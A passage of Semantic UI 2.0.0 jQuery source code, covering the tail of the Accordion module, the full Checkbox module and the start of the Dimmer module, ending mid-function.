settings.onOpen.call(this);\n              settings.onChange.call(this);\n            })\n          ;\n        },\n\n        close: function(query) {\n          var\n            $activeTitle = (query !== undefined)\n              ? (typeof query === 'number')\n                ? $title.eq(query)\n                : $(query).closest(selector.title)\n              : $(this).closest(selector.title),\n            $activeContent = $activeTitle.next($content),\n            isAnimating    = $activeContent.hasClass(className.animating),\n            isActive       = $activeContent.hasClass(className.active),\n            isOpening      = (!isActive && isAnimating),\n            isClosing      = (isActive && isAnimating)\n          ;\n          if((isActive || isOpening) && !isClosing) {\n            module.debug('Closing accordion content', $activeContent);\n            settings.onClosing.call($activeContent);\n            $activeTitle\n              .removeClass(className.active)\n            ;\n            $activeContent\n              .stop(true, true)\n              .addClass(className.animating)\n            ;\n            if(settings.animateChildren) {\n              if($.fn.transition !== undefined && $module.transition('is supported')) {\n                $activeContent\n                  .children()\n                    .transition({\n                      animation   : 'fade out',\n                      queue       : false,\n                      useFailSafe : true,\n                      debug       : settings.debug,\n                      verbose     : settings.verbose,\n                      duration    : settings.duration\n                    })\n                ;\n              }\n              else {\n                $activeContent\n                  .children()\n                    .stop(true, true)\n                    .animate({\n                      opacity: 0\n                    }, settings.duration, module.resetOpacity)\n                ;\n              }\n            }\n            $activeContent\n              .slideUp(settings.duration, settings.easing, function() {\n                $activeContent\n                  .removeClass(className.animating)\n                  .removeClass(className.active)\n                ;\n                module.reset.display.call(this);\n                settings.onClose.call(this);\n                settings.onChange.call(this);\n              })\n            ;\n          }\n        },\n\n        closeOthers: function(index) {\n          var\n            $activeTitle = (index !== undefined)\n              ? $title.eq(index)\n              : $(this).closest(selector.title),\n            $parentTitles    = $activeTitle.parents(selector.content).prev(selector.title),\n            $activeAccordion = $activeTitle.closest(selector.accordion),\n            activeSelector   = selector.title + '.' + className.active + ':visible',\n            activeContent    = selector.content + '.' + className.active + ':visible',\n            $openTitles,\n            $nestedTitles,\n            $openContents\n          ;\n          if(settings.closeNested) {\n            $openTitles   = $activeAccordion.find(activeSelector).not($parentTitles);\n            $openContents = $openTitles.next($content);\n          }\n          else {\n            $openTitles   = $activeAccordion.find(activeSelector).not($parentTitles);\n            $nestedTitles = $activeAccordion.find(activeContent).find(activeSelector).not($parentTitles);\n            $openTitles   = $openTitles.not($nestedTitles);\n            $openContents = $openTitles.next($content);\n          }\n          if( ($openTitles.length > 0) ) {\n            module.debug('Exclusive enabled, closing other content', $openTitles);\n            $openTitles\n              .removeClass(className.active)\n            ;\n            $openContents\n              .removeClass(className.animating)\n              .stop(true, true)\n            ;\n            if(settings.animateChildren) {\n              if($.fn.transition !== undefined && $module.transition('is supported')) {\n                $openContents\n                  .children()\n                    .transition({\n                      animation   : 'fade out',\n                      useFailSafe : true,\n                      debug       : settings.debug,\n                      verbose     : settings.verbose,\n                      duration    : settings.duration\n                    })\n                ;\n              }\n              else {\n                $openContents\n                  .children()\n                    .stop(true, true)\n                    .animate({\n                      opacity: 0\n                    }, settings.duration, module.resetOpacity)\n                ;\n              }\n            }\n            $openContents\n              .slideUp(settings.duration , settings.easing, function() {\n                $(this).removeClass(className.active);\n                module.reset.display.call(this);\n              })\n            ;\n          }\n        },\n\n        reset: {\n\n          display: function() {\n            module.verbose('Removing inline display from element', this);\n            $(this).css('display', '');\n            if( $(this).attr('style') === '') {\n              $(this)\n                .attr('style', '')\n                .removeAttr('style')\n              ;\n            }\n          },\n\n          opacity: function() {\n            module.verbose('Removing inline opacity from element', this);\n            $(this).css('opacity', '');\n            if( $(this).attr('style') === '') {\n              $(this)\n                .attr('style', '')\n                .removeAttr('style')\n              ;\n            }\n          },\n\n        },\n\n        setting: function(name, value) {\n          module.debug('Changing setting', name, value);\n          if( $.isPlainObject(name) ) {\n            $.extend(true, settings, name);\n          }\n          else if(value !== undefined) {\n            settings[name] = value;\n          }\n          else {\n            return settings[name];\n          }\n        },\n        internal: function(name, value) {\n          module.debug('Changing internal', name, value);\n          if(value !== undefined) {\n            if( $.isPlainObject(name) ) {\n              $.extend(true, module, name);\n            }\n            else {\n              module[name] = value;\n            }\n          }\n          else {\n            return module[name];\n          }\n        },\n        debug: function() {\n          if(settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.debug.apply(console, arguments);\n            }\n          }\n        },\n        verbose: function() {\n          if(settings.verbose && settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.verbose.apply(console, arguments);\n            }\n          }\n        },\n        error: function() {\n          module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');\n          module.error.apply(console, arguments);\n        },\n        performance: {\n          log: function(message) {\n            var\n              currentTime,\n              executionTime,\n              previousTime\n            ;\n            if(settings.performance) {\n              currentTime   = new Date().getTime();\n              previousTime  = time || currentTime;\n              executionTime = currentTime - previousTime;\n              time          = currentTime;\n              performance.push({\n                'Name'           : message[0],\n                'Arguments'      : [].slice.call(message, 1) || '',\n                'Element'        : element,\n                'Execution Time' : executionTime\n              });\n            }\n            clearTimeout(module.performance.timer);\n            module.performance.timer = setTimeout(module.performance.display, 500);\n          },\n          display: function() {\n            var\n              title = settings.name + ':',\n              totalTime = 0\n            ;\n            time = false;\n            clearTimeout(module.performance.timer);\n            $.each(performance, function(index, data) {\n              totalTime += data['Execution Time'];\n            });\n            title += ' ' + totalTime + 'ms';\n            if(moduleSelector) {\n              title += ' \\'' + moduleSelector + '\\'';\n            }\n            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {\n              console.groupCollapsed(title);\n              if(console.table) {\n                console.table(performance);\n              }\n              else {\n                $.each(performance, function(index, data) {\n                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');\n                });\n              }\n              console.groupEnd();\n            }\n            performance = [];\n          }\n        },\n        invoke: function(query, passedArguments, context) {\n          var\n            object = instance,\n            maxDepth,\n            found,\n            response\n          ;\n          passedArguments = passedArguments || queryArguments;\n          context         = element         || context;\n          if(typeof query == 'string' && object !== undefined) {\n            query    = query.split(/[\\. ]/);\n            maxDepth = query.length - 1;\n            $.each(query, function(depth, value) {\n              var camelCaseValue = (depth != maxDepth)\n                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)\n                : query\n              ;\n              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {\n                object = object[camelCaseValue];\n              }\n              else if( object[camelCaseValue] !== undefined ) {\n                found = object[camelCaseValue];\n                return false;\n              }\n              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {\n                object = object[value];\n              }\n              else if( object[value] !== undefined ) {\n                found = object[value];\n                return false;\n              }\n              else {\n                module.error(error.method, query);\n                return false;\n              }\n            });\n          }\n          if ( $.isFunction( found ) ) {\n            response = found.apply(context, passedArguments);\n          }\n          else if(found !== undefined) {\n            response = found;\n          }\n          if($.isArray(returnedValue)) {\n            returnedValue.push(response);\n          }\n          else if(returnedValue !== undefined) {\n            returnedValue = [returnedValue, response];\n          }\n          else if(response !== undefined) {\n            returnedValue = response;\n          }\n          return found;\n        }\n      };\n      if(methodInvoked) {\n        if(instance === undefined) {\n          module.initialize();\n        }\n        module.invoke(query);\n      }\n      else {\n        if(instance !== undefined) {\n          instance.invoke('destroy');\n        }\n        module.initialize();\n      }\n    })\n  ;\n  return (returnedValue !== undefined)\n    ? returnedValue\n    : this\n  ;\n};\n\n$.fn.accordion.settings = {\n\n  name            : 'Accordion',\n  namespace       : 'accordion',\n\n  debug           : false,\n  verbose         : false,\n  performance     : true,\n\n  on              : 'click',\n\n  exclusive       : true,\n  collapsible     : true,\n  closeNested     : false,\n  animateChildren : true,\n\n  duration        : 350,\n  easing          : 'easeOutQuad',\n\n\n  onOpening       : function(){},\n  onOpen          : function(){},\n  onClosing       : function(){},\n  onClose         : function(){},\n  onChange        : function(){},\n\n  error: {\n    method : 'The method you called is not defined'\n  },\n\n  className   : {\n    active    : 'active',\n    animating : 'animating'\n  },\n\n  selector    : {\n    accordion : '.accordion',\n    title     : '.title',\n    trigger   : '.title',\n    content   : '.content'\n  }\n\n};\n\n// Adds easing\n$.extend( $.easing, {\n  easeOutQuad: function (x, t, b, c, d) {\n    return -c *(t/=d)*(t-2) + b;\n  }\n});\n\n})( jQuery, window , document );\n\n\n/*!\n * # Semantic UI 2.0.0 - Checkbox\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n;(function ( $, window, document, undefined ) {\n\n\"use strict\";\n\n$.fn.checkbox = function(parameters) {\n  var\n    $allModules    = $(this),\n    moduleSelector = $allModules.selector || '',\n\n    time           = new Date().getTime(),\n    performance    = [],\n\n    query          = arguments[0],\n    methodInvoked  = (typeof query == 'string'),\n    queryArguments = [].slice.call(arguments, 1),\n    returnedValue\n  ;\n\n  $allModules\n    .each(function() {\n      var\n        settings        = $.extend(true, {}, $.fn.checkbox.settings, parameters),\n\n        className       = settings.className,\n        namespace       = settings.namespace,\n        selector        = settings.selector,\n        error           = settings.error,\n\n        eventNamespace  = '.' + namespace,\n        moduleNamespace = 'module-' + namespace,\n\n        $module         = $(this),\n        $label          = $(this).children(selector.label),\n        $input          = $(this).children(selector.input),\n\n        instance        = $module.data(moduleNamespace),\n\n        observer,\n        element         = this,\n        module\n      ;\n\n      module      = {\n\n        initialize: function() {\n          module.verbose('Initializing checkbox', settings);\n\n          module.create.label();\n          module.bind.events();\n\n          module.set.tabbable();\n          module.hide.input();\n\n          module.observeChanges();\n          module.instantiate();\n          module.setup();\n        },\n\n        instantiate: function() {\n          module.verbose('Storing instance of module', module);\n          instance = module;\n          $module\n            .data(moduleNamespace, module)\n          ;\n        },\n\n        destroy: function() {\n          module.verbose('Destroying module');\n          module.unbind.events();\n          module.show.input();\n          $module.removeData(moduleNamespace);\n        },\n\n        fix: {\n          reference: function() {\n            if( $module.is(selector.input) ) {\n              module.debug('Behavior called on <input> adjusting invoked element');\n              $module = $module.closest(selector.checkbox);\n              module.refresh();\n            }\n          }\n        },\n\n        setup: function() {\n          if( module.is.indeterminate() ) {\n            module.debug('Initial value is indeterminate');\n            module.set.indeterminate();\n            if(settings.fireOnInit) {\n              settings.onIndeterminate.call($input[0]);\n              settings.onChange.call($input[0]);\n            }\n          }\n          else if( module.is.checked() ) {\n            module.debug('Initial value is checked');\n            module.set.checked();\n            if(settings.fireOnInit) {\n              settings.onChecked.call($input[0]);\n              settings.onChange.call($input[0]);\n            }\n          }\n          else {\n            module.debug('Initial value is unchecked');\n            module.set.unchecked();\n            if(settings.fireOnInit) {\n              settings.onUnchecked.call($input[0]);\n              settings.onChange.call($input[0]);\n            }\n          }\n        },\n\n        refresh: function() {\n          $label = $module.children(selector.label);\n          $input = $module.children(selector.input);\n        },\n\n        hide: {\n          input: function() {\n            module.verbose('Modfying <input> z-index to be unselectable');\n            $input.addClass(className.hidden);\n          }\n        },\n        show: {\n          input: function() {\n            module.verbose('Modfying <input> z-index to be selectable');\n            $input.removeClass(className.hidden);\n          }\n        },\n\n        observeChanges: function() {\n          if('MutationObserver' in window) {\n            observer = new MutationObserver(function(mutations) {\n              module.debug('DOM tree modified, updating selector cache');\n              module.refresh();\n            });\n            observer.observe(element, {\n              childList : true,\n              subtree   : true\n            });\n            module.debug('Setting up mutation observer', observer);\n          }\n        },\n\n        attachEvents: function(selector, event) {\n          var\n            $element = $(selector)\n          ;\n          event = $.isFunction(module[event])\n            ? module[event]\n            : module.toggle\n          ;\n          if($element.length > 0) {\n            module.debug('Attaching checkbox events to element', selector, event);\n            $element\n              .on('click' + eventNamespace, event)\n            ;\n          }\n          else {\n            module.error(error.notFound);\n          }\n        },\n\n        event: {\n          click: function(event) {\n            if( $(event.target).is(selector.input) ) {\n              module.verbose('Using default check action on initialized checkbox');\n              return;\n            }\n            module.toggle();\n          },\n          keydown: function(event) {\n            var\n              key     = event.which,\n              keyCode = {\n                enter  : 13,\n                space  : 32,\n                escape : 27\n              }\n            ;\n            if(key == keyCode.escape) {\n              module.verbose('Escape key pressed blurring field');\n              $input.blur();\n              event.preventDefault();\n            }\n            if(!event.ctrlKey && (key == keyCode.enter || key == keyCode.space)) {\n              module.verbose('Enter key pressed, toggling checkbox');\n              module.toggle();\n              event.preventDefault();\n            }\n          }\n        },\n\n        check: function() {\n          if( !module.is.indeterminate() && module.is.checked() ) {\n            module.debug('Checkbox is already checked');\n            return;\n          }\n          module.debug('Checking checkbox', $input);\n          module.set.checked();\n          settings.onChecked.call($input[0]);\n          settings.onChange.call($input[0]);\n        },\n\n        uncheck: function() {\n          if( !module.is.indeterminate() && module.is.unchecked() ) {\n            module.debug('Checkbox is already unchecked');\n            return;\n          }\n          module.debug('Unchecking checkbox');\n          module.set.unchecked();\n          settings.onUnchecked.call($input[0]);\n          settings.onChange.call($input[0]);\n        },\n\n        indeterminate: function() {\n          if( module.is.indeterminate() ) {\n            module.debug('Checkbox is already indeterminate');\n            return;\n          }\n          module.debug('Making checkbox indeterminate');\n          module.set.indeterminate();\n          settings.onIndeterminate.call($input[0]);\n          settings.onChange.call($input[0]);\n        },\n\n        determinate: function() {\n          if( module.is.determinate() ) {\n            module.debug('Checkbox is already determinate');\n            return;\n          }\n          module.debug('Making checkbox determinate');\n          module.set.determinate();\n          settings.onDeterminate.call($input[0]);\n          settings.onChange.call($input[0]);\n        },\n\n        enable: function() {\n          if( module.is.enabled() ) {\n            module.debug('Checkbox is already enabled');\n            return;\n          }\n          module.debug('Enabling checkbox');\n          module.set.enabled();\n          settings.onEnable.call($input[0]);\n        },\n\n        disable: function() {\n          if( module.is.disabled() ) {\n            module.debug('Checkbox is already disabled');\n            return;\n          }\n          module.debug('Disabling checkbox');\n          module.set.disabled();\n          settings.onDisable.call($input[0]);\n        },\n\n        get: {\n          radios: function() {\n            var\n              name = module.get.name()\n            ;\n            return $('input[name=\"' + name + '\"]').closest(selector.checkbox);\n          },\n          name: function() {\n            return $input.attr('name');\n          }\n        },\n\n        is: {\n          radio: function() {\n            return ($input.hasClass(className.radio) || $input.attr('type') == 'radio');\n          },\n          indeterminate: function() {\n            return $input.prop('indeterminate') !== undefined && $input.prop('indeterminate');\n          },\n          checked: function() {\n            return $input.prop('checked') !== undefined && $input.prop('checked');\n          },\n          disabled: function() {\n            return $input.prop('disabled') !== undefined && $input.prop('disabled');\n          },\n          enabled: function() {\n            return !module.is.disabled();\n          },\n          determinate: function() {\n            return !module.is.indeterminate();\n          },\n          unchecked: function() {\n            return !module.is.checked();\n          }\n        },\n\n        can: {\n          change: function() {\n            return !( $module.hasClass(className.disabled) || $module.hasClass(className.readOnly) || $input.prop('disabled') || $input.prop('readonly') );\n          },\n          uncheck: function() {\n            return (typeof settings.uncheckable === 'boolean')\n              ? settings.uncheckable\n              : !module.is.radio()\n            ;\n          }\n        },\n\n        set: {\n          checked: function() {\n            if(!module.is.indeterminate() && module.is.checked()) {\n              module.debug('Input is already checked');\n              return;\n            }\n            module.verbose('Setting state to checked', $input[0]);\n            if( module.is.radio() ) {\n              module.uncheckOthers();\n            }\n            $input\n              .prop('indeterminate', false)\n              .prop('checked', true)\n            ;\n            $module\n              .removeClass(className.indeterminate)\n              .addClass(className.checked)\n            ;\n            module.trigger.change();\n          },\n          unchecked: function() {\n            if(!module.is.indeterminate() &&  module.is.unchecked() ) {\n              module.debug('Input is already unchecked');\n              return;\n            }\n            module.debug('Setting state to unchecked');\n            $input\n              .prop('indeterminate', false)\n              .prop('checked', false)\n            ;\n            $module\n              .removeClass(className.indeterminate)\n              .removeClass(className.checked)\n            ;\n            module.trigger.change();\n          },\n          indeterminate: function() {\n            if( module.is.indeterminate() ) {\n              module.debug('Input is already indeterminate');\n              return;\n            }\n            module.debug('Setting state to indeterminate');\n            $input\n              .prop('indeterminate', true)\n            ;\n            $module\n              .addClass(className.indeterminate)\n            ;\n            module.trigger.change();\n          },\n          determinate: function() {\n            if( module.is.determinate() ) {\n              module.debug('Input is already determinate');\n              return;\n            }\n            module.debug('Setting state to determinate');\n            $input\n              .prop('indeterminate', false)\n            ;\n            $module\n              .removeClass(className.indeterminate)\n            ;\n          },\n          disabled: function() {\n            if( module.is.disabled() ) {\n              module.debug('Input is already disabled');\n              return;\n            }\n            module.debug('Setting state to disabled');\n            $input\n              .prop('disabled', 'disabled')\n            ;\n            $module\n              .addClass(className.disabled)\n            ;\n            module.trigger.change();\n          },\n          enabled: function() {\n            if( module.is.enabled() ) {\n              module.debug('Input is already enabled');\n              return;\n            }\n            module.debug('Setting state to enabled');\n            $input\n              .prop('disabled', false)\n            ;\n            $module.removeClass(className.disabled);\n            module.trigger.change();\n          },\n          tabbable: function() {\n            module.verbose('Adding tabindex to checkbox');\n            if( $input.attr('tabindex') === undefined) {\n              $input.attr('tabindex', 0);\n            }\n          }\n        },\n\n        trigger: {\n          change: function() {\n            module.verbose('Triggering change event from programmatic change');\n            $input\n              .trigger('change')\n            ;\n          }\n        },\n\n\n        create: {\n          label: function() {\n            if($input.prevAll(selector.label).length > 0) {\n              $input.prev(selector.label).detach().insertAfter($input);\n              module.debug('Moving existing label', $label);\n            }\n            else if( !module.has.label() ) {\n              $label = $('<label>').insertAfter($input);\n              module.debug('Creating label', $label);\n            }\n          }\n        },\n\n        has: {\n          label: function() {\n            return ($label.length > 0);\n          }\n        },\n\n        bind: {\n          events: function() {\n            module.verbose('Attaching checkbox events');\n            $module\n              .on('click'   + eventNamespace, module.event.click)\n              .on('keydown' + eventNamespace, selector.input, module.event.keydown)\n            ;\n          }\n        },\n\n        unbind: {\n          events: function() {\n            module.debug('Removing events');\n            $module\n              .off(eventNamespace)\n            ;\n          }\n        },\n\n        uncheckOthers: function() {\n          var\n            $radios = module.get.radios()\n          ;\n          module.debug('Unchecking other radios', $radios);\n          $radios.removeClass(className.checked);\n        },\n\n        toggle: function() {\n          if( !module.can.change() ) {\n            if(!module.is.radio()) {\n              module.debug('Checkbox is read-only or disabled, ignoring toggle');\n            }\n            return;\n          }\n          if( module.is.indeterminate() || module.is.unchecked() ) {\n            module.debug('Currently unchecked');\n            module.check();\n          }\n          else if( module.is.checked() && module.can.uncheck() ) {\n            module.debug('Currently checked');\n            module.uncheck();\n          }\n        },\n        setting: function(name, value) {\n          module.debug('Changing setting', name, value);\n          if( $.isPlainObject(name) ) {\n            $.extend(true, settings, name);\n          }\n          else if(value !== undefined) {\n            settings[name] = value;\n          }\n          else {\n            return settings[name];\n          }\n        },\n        internal: function(name, value) {\n          if( $.isPlainObject(name) ) {\n            $.extend(true, module, name);\n          }\n          else if(value !== undefined) {\n            module[name] = value;\n          }\n          else {\n            return module[name];\n          }\n        },\n        debug: function() {\n          if(settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.debug.apply(console, arguments);\n            }\n          }\n        },\n        verbose: function() {\n          if(settings.verbose && settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.verbose.apply(console, arguments);\n            }\n          }\n        },\n        error: function() {\n          module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');\n          module.error.apply(console, arguments);\n        },\n        performance: {\n          log: function(message) {\n            var\n              currentTime,\n              executionTime,\n              previousTime\n            ;\n            if(settings.performance) {\n              currentTime   = new Date().getTime();\n              previousTime  = time || currentTime;\n              executionTime = currentTime - previousTime;\n              time          = currentTime;\n              performance.push({\n                'Name'           : message[0],\n                'Arguments'      : [].slice.call(message, 1) || '',\n                'Element'        : element,\n                'Execution Time' : executionTime\n              });\n            }\n            clearTimeout(module.performance.timer);\n            module.performance.timer = setTimeout(module.performance.display, 500);\n          },\n          display: function() {\n            var\n              title = settings.name + ':',\n              totalTime = 0\n            ;\n            time = false;\n            clearTimeout(module.performance.timer);\n            $.each(performance, function(index, data) {\n              totalTime += data['Execution Time'];\n            });\n            title += ' ' + totalTime + 'ms';\n            if(moduleSelector) {\n              title += ' \\'' + moduleSelector + '\\'';\n            }\n            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {\n              console.groupCollapsed(title);\n              if(console.table) {\n                console.table(performance);\n              }\n              else {\n                $.each(performance, function(index, data) {\n                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');\n                });\n              }\n              console.groupEnd();\n            }\n            performance = [];\n          }\n        },\n        invoke: function(query, passedArguments, context) {\n          var\n            object = instance,\n            maxDepth,\n            found,\n            response\n          ;\n          passedArguments = passedArguments || queryArguments;\n          context         = element         || context;\n          if(typeof query == 'string' && object !== undefined) {\n            query    = query.split(/[\\. ]/);\n            maxDepth = query.length - 1;\n            $.each(query, function(depth, value) {\n              var camelCaseValue = (depth != maxDepth)\n                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)\n                : query\n              ;\n              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {\n                object = object[camelCaseValue];\n              }\n              else if( object[camelCaseValue] !== undefined ) {\n                found = object[camelCaseValue];\n                return false;\n              }\n              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {\n                object = object[value];\n              }\n              else if( object[value] !== undefined ) {\n                found = object[value];\n                return false;\n              }\n              else {\n                module.error(error.method, query);\n                return false;\n              }\n            });\n          }\n          if ( $.isFunction( found ) ) {\n            response = found.apply(context, passedArguments);\n          }\n          else if(found !== undefined) {\n            response = found;\n          }\n          if($.isArray(returnedValue)) {\n            returnedValue.push(response);\n          }\n          else if(returnedValue !== undefined) {\n            returnedValue = [returnedValue, response];\n          }\n          else if(response !== undefined) {\n            returnedValue = response;\n          }\n          return found;\n        }\n      };\n\n      if(methodInvoked) {\n        if(instance === undefined) {\n          module.initialize();\n        }\n        module.invoke(query);\n      }\n      else {\n        if(instance !== undefined) {\n          instance.invoke('destroy');\n        }\n        module.initialize();\n      }\n    })\n  ;\n\n  return (returnedValue !== undefined)\n    ? returnedValue\n    : this\n  ;\n};\n\n$.fn.checkbox.settings = {\n\n  name            : 'Checkbox',\n  namespace       : 'checkbox',\n\n  debug           : false,\n  verbose         : true,\n  performance     : true,\n\n  // delegated event context\n  uncheckable     : 'auto',\n  fireOnInit      : false,\n\n  onChange        : function(){},\n\n  onChecked       : function(){},\n  onUnchecked     : function(){},\n\n  onDeterminate   : function() {},\n  onIndeterminate : function() {},\n\n  onEnabled       : function(){},\n  onDisabled      : function(){},\n\n  className       : {\n    checked       : 'checked',\n    indeterminate : 'indeterminate',\n    disabled      : 'disabled',\n    hidden        : 'hidden',\n    radio         : 'radio',\n    readOnly      : 'read-only'\n  },\n\n  error     : {\n    method       : 'The method you called is not defined'\n  },\n\n  selector : {\n    checkbox : '.ui.checkbox',\n    label    : 'label, .box',\n    input    : 'input[type=\"checkbox\"], input[type=\"radio\"]',\n  }\n\n};\n\n})( jQuery, window , document );\n\n/*!\n * # Semantic UI 2.0.0 - Dimmer\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n;(function ( $, window, document, undefined ) {\n\n\"use strict\";\n\n$.fn.dimmer = function(parameters) {\n  var\n    $allModules     = $(this),\n\n    time            = new Date().getTime(),\n    performance     = [],\n\n    query           = arguments[0],\n    methodInvoked   = (typeof query == 'string'),\n    queryArguments  = [].slice.call(arguments, 1),\n\n    returnedValue\n  ;\n\n  $allModules\n    .each(function() {\n      var\n        settings        = ( $.isPlainObject(parameters) )\n          ? $.extend(true, {}, $.fn.dimmer.settings, parameters)\n          : $.extend({}, $.fn.dimmer.settings),\n\n        selector        = settings.selector,\n        namespace       = settings.namespace,\n        className       = settings.className,\n        error           = settings.error,\n\n        eventNamespace  = '.' + namespace,\n        moduleNamespace = 'module-' + namespace,\n        moduleSelector  = $allModules.selector || '',\n\n        clickEvent      = ('ontouchstart' in document.documentElement)\n          ? 'touchstart'\n          : 'click',\n\n        $module = $(this),\n        $dimmer,\n        $dimmable,\n\n        element   = this,\n        instance  = $module.data(moduleNamespace),\n        module\n      ;\n\n      module = {\n\n        preinitialize: function() {\n          if( module.is.dimmer() ) {\n\n            $dimmable = $module.parent();\n            $dimmer   = $module;\n          }\n          else {\n            $dimmable = $module;\n            if( module.has.dimmer() ) {\n              if(settings.dimmerName) {\n                $dimmer = $dimmable.find(selector.dimmer).filter('.' + settings.dimmerName);\n              }\n              else {\n                $dimmer = $dimmable.find(selector.dimmer);\n              }\n            }\n            else {\n              $dimmer = module.create();\n            }\n          }\n        },\n\n        initialize: function() {\n          module.debug('Initializing dimmer', settings);\n          if(settings.on == 'hover') {\n            $dimmable\n              .on('mouseenter' + eventNamespace, module.show)\n              .on('mouseleave' + eventNamespace, module.hide)\n            ;\n          }\n          else if(settings.on == 'click') {\n            $dimmable\n              .on(clickEvent + eventNamespace, module.toggle)\n            ;\n          }\n          if( module.is.page() ) {\n            module.debug('Setting as a page dimmer', $dimmable);\n            module.set.pageDimmer();\n          }\n\n          if( module.is.closable() ) {\n            module.verbose('Adding dimmer close event', $dimmer);\n            $dimmable\n              .on(clickEvent + eventNamespace, selector.dimmer, module.event.click)\n            ;\n          }\n          module.set.dimmable();\n          module.instantiate();\n        },\n\n        instantiate: function() {\n          module.verbose('Storing instance of module', module);\n          instance = module;\n          $module\n            .data(moduleNamespace, instance)\n          ;\n        },\n\n        destroy: function() {\n          module.verbose('Destroying previous module', $dimmer);\n          $module\n            .removeData(moduleNamespace)\n          ;\n          $dimmable\n            .off(eventNamespace)\n          ;\n        },\n\n        event: {\n          click: function(event) {\n            module.verbose('Determining if event occured on dimmer', event);\n            if( $dimmer.find(event.target).length === 0 || $(event.target).is(selector.content) ) {\n              module.hide();\n              event.stopImmediatePropagation();\n            }\n          }\n        },\n\n        addContent: function(element) {\n          var\n            $content = $(element)\n          ;\n          module.debug('Add content to dimmer', $content);\n          if($content.parent()[0] !== $dimmer[0]) {\n            $content.detach().appendTo($dimmer);\n          }\n        },\n\n        create: function() {\n          var\n            $element = $( settings.template.dimmer() )\n          ;\n          if(settings.variation) {\n            module.debug('Creating dimmer with variation', settings.variation);\n            $element.addClass(settings.variation);\n          }\n          if(settings.dimmerName) {\n            module.debug('Creating named dimmer', settings.dimmerName);\n            $element.addClass(settings.dimmerName);\n          }\n          $element\n            .appendTo($dimmable)\n          ;\n          return $element;\n        },\n\n        show: function(callback) {\n          callback = $.isFunction(callback)\n            ? callback\n            : function(){}\n          ;\n          module.debug('Showing dimmer', $dimmer, settings);\n          if( (!module.is.dimmed() || module.is.animating()) && module.is.enabled() ) {\n            module.animate.show(callback);\n            settings.onShow.call(element);\n            settings.onChange.call(element);\n          }\n          else {\n            module.debug('Dimmer is already shown or disabled');\n          }\n        },\n\n        hide: function(callback) {\n          callback = $.isFunction(callback)\n            ? callback\n            : function(){}\n          ;\n          if( module.is.dimmed() || module.is.animating() ) {\n            module.debug('Hiding dimmer', $dimmer);\n            module.animate.hide(callback);\n            settings.onHide.call(element);\n            settings.onChange.call(element);\n          }\n          else {\n            module.debug('Dimmer is not visible');\n          }\n        },\n\n        toggle: function() {\n          module.verbose('Toggling dimmer visibility', $dimmer);\n          if( !module.is.dimmed() ) {\n            module.show();\n          }\n          else {\n            module.hide();\n          }\n        },\n\n        animate: {\n          show: function(callback) {\n            callback = $.isFunction(callback)\n              ? callback\n              : function(){}\n            ;\n            if(settings.useCSS && $.fn.transition !== undefined && $dimmer.transition('is supported')) {\n              if(settings.opacity !== 'auto') {\n                module.set.opacity();\n              }\n              $dimmer\n                .transition({\n                  animation   : settings.transition + ' in',\n                  queue       : false,\n                  duration    : module.get.duration(),\n                  useFailSafe : true,\n                  onStart     : function() {\n                    module.set.dimmed();\n                  },\n                  onComplete  : function() {\n                    module.set.active();\n                    callback();\n                  }\n                })\n              ;\n            }\n            else {\n              module.verbose('Showing dimmer animation with javascript');\n              module.set.dimmed();\n              if(settings.opacity == 'auto') {\n                settings.opacity = 0.8;\n              }\n              $dimmer\n                .stop()\n                .css({\n                  opacity : 0,\n                  width   : '100%',\n                  height  : '100%'\n                })\n                .fadeTo(module.get.duration(), settings.opacity, function() {\n                  $dimmer.removeAttr('style');\n                  module.set.active();\n                  callback();\n                })\n              ;\n            }\n          },\n          hide: function(callback) {\n            callback = $.isFunction(callback)\n              ? callback\n              : function(){}\n            ;\n            if(settings.useCSS && $.fn.transition !== undefined && $dimmer.transition('is supported')) {\n              module.verbose('Hiding dimmer with css');\n              $dimmer\n                .transition({\n                  animation   : settings.transition + ' out',\n                  queue       : false,\n                  duration    : module.get.duration(),\n                  useFailSafe : true,\n                  onStart     : function() {\n                    module.remove.dimmed();\n                  },\n                  onComplete  : function() {\n                    module.remove.active();\n                    callback();\n                  }\n                })\n              ;\n            }\n            else {\n              module.verbose('Hiding dimmer with javascript');\n              module.remove.dimmed();\n              $dimmer\n                .stop()\n                .fadeOut(module.get.duration(), function() {\n                  module.remove.active();\n                  $dimmer.removeAttr('style');\n                  callback();\n                })\n              ;\n            }\n          }\n        },\n\n        get: {\n          dimmer: function() {\n            return $dimmer;\n          },\n          duration: function() {\n            if(typeof settings.duration == 'object') {\n              if( module.is.active() ) {\n                return settings.duration.hide;\n              }\n              else {\n                return settings.duration.show;\n              }\n            }\n            return settings.duration;\n          }\n        },\n\n        has: {\n          dimmer: function() {\n            if(settings.dimmerName) {\n              return ($module.find(selector.dimmer).filter('.' + settings.dimmerName).length > 0);\n            }\n            else {\n              return ( $module.find(selector.dimmer).length > 0 );\n            }\n          }\n        },\n\n        is: {\n          active: function() {\n            return 